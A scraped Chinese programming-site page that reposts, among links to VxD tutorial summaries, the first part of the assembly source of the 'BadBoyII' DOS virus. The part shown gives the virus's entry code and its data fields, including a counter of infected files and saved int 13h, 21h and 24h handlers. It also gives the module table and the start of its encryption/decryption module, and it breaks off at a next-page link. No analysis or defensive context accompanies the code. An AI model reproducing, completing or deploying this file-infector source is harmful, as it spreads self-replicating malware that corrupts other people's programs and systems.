当前位置:首页 » 软件开发
开发技术指南» 文章正文
    引言: code segment assume cs:code,
 

 

 ·iczelionvxdcntut9    »显示摘要«
    摘要: 虚拟8086模式的内存管理 下边我们用到的v86即指虚拟8086模式。 在以前的教程中,你学习了怎样模拟v86中断,但还有一个问题没有解决:在vxd和v86代码之间交换数据。我们将在此学习如何使用v86内存管理器来实现这个功能。在这里下载例子程序 理论 假如你的vxd和一些v86程序一起运行,如何传送大量数据到v86程序中或从v86程序中传送大量数据迟早是一个大问题。通过寄存器......
 ·iczelionvxdcntut7    »显示摘要«
    摘要:请求执行时间段与shell函数 下载例子程序 理论: 请求执行时间段通常被简称为"appy time"。是指当系统vm稳定到充许vxds和ring-3级别的应用软件(特别是16-bit的应用软件)交互时的时间段。例如,在一个特定时间段,vxds能加载并调用在16-bit dlls中的函数。这个appy time在windows 3.x中是无效的。在windows3.x,一个vx......


BadBoyII源程序

 

assume cs:code,ds:code 【程序编程相关:汇编(十一)——位操作类指令

code segment 【推荐阅读:缓冲区溢出(一)

org 100 【扩展信息:利用NameValueCollectio

.radix 16

start:

push word ptr cs:[table+2]

push cs

pop ds

jmp word ptr cs:[table] ;go to module 1

curofs dw ?

files db 0 ;number of infected files from this copy

fsize dw 2 ;size of infected file

ftime dw ?

fdate dw ?

stdint21 dd ?

oldint13 dd ?

oldint21 dd ?

oldint24 dd ?

;------------- table with module parameters --------------------

table:

dw offset false_mod_1 ;00

dw offset mod_2 ;02

dw offset mod_3 ;04

dw offset mod_4 ;06 ;offset modules

dw offset mod_5 ;08

dw offset mod_6 ;0a

dw offset mod_7 ;0c

dw offset mod_8 ;0e

dw offset mod_2 - offset mod_1;10

dw offset mod_3 - offset mod_2;12

dw offset mod_4 - offset mod_3;14

dw offset mod_5 - offset mod_4;16

dw offset mod_6 - offset mod_5;18 ;size modules

dw offset mod_7 - offset mod_6;1a

dw offset mod_8 - offset mod_7;1c

dw offset myend - offset mod_8;1e

;------------- module - 1 - coder/decoder ----------------------

mod_1:

mov bx,offset table+2 ;first module to working (module 2)

mov cx,6 ;number of modules to working

mod_1_lp1:

cmp bx,offset table+0a

jne mod_1_cont

add bx,2

mod_1_cont:

push bx

push cx


...   下一页
 ·iczelionvxdcntut5    »显示摘要«
    摘要: vxd例程:消息框 在上一节教程里,我们讲了编写一个vxd程序的方法。现在我们要学以致用。在这一节里,我们要编写一个静态vxd,这个静态vxd在一个虚拟机创建或销毁时就会弹出一个消息框。 在这里下载例子。 捕获虚拟机创建和结束事件 当一个虚拟机创建时,vmm发送create_vm控制消息给所有的vxd程序。当一个虚拟机退出时,它也发送vm_terminate和vm_terminate2......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE